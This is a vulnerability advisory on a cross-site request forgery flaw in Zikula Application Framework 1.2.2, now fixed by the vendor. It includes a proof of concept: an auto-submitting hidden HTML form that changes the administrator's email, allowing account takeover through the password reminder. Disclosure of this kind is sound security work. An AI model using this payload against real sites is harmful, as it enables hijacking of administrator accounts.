Zikula Application Framework 1.2.2 Cross Site Request Forgery

`Vulnerability ID: HTB22351  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_zikula_application_framework.html  
Product: Zikula Application Framework  
Vendor: Zikula Software Foundation  
Vulnerable Version: 1.2.2 and Probably Prior Versions  
Vendor Notification: 19 April 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Fixed by Vendor  
Risk level: Low   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "users" module to properly verify the source of HTTP request.   
  
User can perform CSRF attack and change the email of administrator. Then the user can use the password reminder system and get the administrator password on this email address.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, modification of sensitive data.   
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:   
  
  
<form method="POST" action="http://host/index.php?module=users&func=updateemail" name="main">  
<input type="hidden" name="newemail" value="[email protected]">  
<input type="hidden" name="submit" value="">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
Solution: Upgrade to the most recent verison  
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